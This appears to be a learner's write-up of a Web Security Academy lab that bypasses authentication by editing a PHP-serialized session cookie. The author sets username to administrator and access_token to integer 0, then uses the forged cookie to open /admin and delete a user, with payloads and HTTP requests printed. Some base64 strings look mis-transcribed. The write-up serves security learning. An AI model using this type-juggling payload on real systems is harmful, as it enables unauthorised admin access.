
Modifying serialized data types

1. This lab uses a serialization-based session mechanism and is vulnerable to authentication bypass as a result.
2. After decoding the session value in the cookie in request, I found that it contains the username and access token. Each user has a unique access token.
3. From lab's hint, I knew that I should apply quirk in the serialized object.
quirk object means *unusual, unexpected, or non-standard*, but **still valid or working**.

I tried to quirk the object by changing the datatype of **access_token** value from string to integer. The expected value for **access_token** is string, when it changed to integer, that seems strange for the backend and this is the meaning of quirk .And for sure changed the username from wiener to **administrator** and the path to **/admin**.



```
O:4:"User":2:{s:8:"username";s:13:"administrator";s:12:"access_token";i:0;}
```



```
Tzo0OiJVc2VyljoyOntzOjg6InVzZXJuYW1lJtzOjEzOjhZG1pbmlzdHJhdG9yJtzOjEyOjhY2Nlc3NfdG9rZW4iO2k6MDt9
```

i:0 means that there is no value for **access_token**.

4. Now, I have access to the admin panel and delete carlos user successfully.

Request		Response	
Pretty	Raw	Hex	
1 GET /admin HTTP/2			1 HTTP/2 200 OK
2 Host: Oai2007f04fa9fb0848fd73d000e00b1.web-securit			2 Content-Type: text/html; charset=utf-8
y-academy.net			3 Cache-Control: no-cache
3 Cookie: session= Tzo0OiJVc2VyljoyOntzOjg6InVzZXJuYW1lIjtzOjEz			4 X-Frame-Options: SAMEORIGIN
OiJhZG1pbmlzdHJhdG9yIjtzOjEyOiJhY2Nlc3NfdG9r			5 Content-Length: 3120
ZW4iO2k6MDt9			6
			7 <!DOCTYPE html>
			8 <html>

Request		Response	
Pretty	Raw	Hex	Render
1 GET /admin/delete?username=carlos HTTP/2			1 HTTP/2 302 Found
2 Host: Oai2007f04fa9fb0848fd73d000e00b1.web-securit			2 Location: /admin
y-academy.net			3 X-Frame-Options: SAMEORIGIN
3 Cookie: session= Tzo0OiJVc2VyljoyOntzOjg6InVzZXJuYW1lIjtzOjEz			4 Content-Length: 0
OiJhZG1pbmlzdHJhdG9yIjtzOjEyOiJhY2Nlc3NfdG9r			5
ZW4iO2k6MDt9			6

Web Security Academy

Modifying serialized data types

LAB Solved



[Back to lab description >>](#)

Congratulations, you solved the lab!

Share your skills! Continue learning >>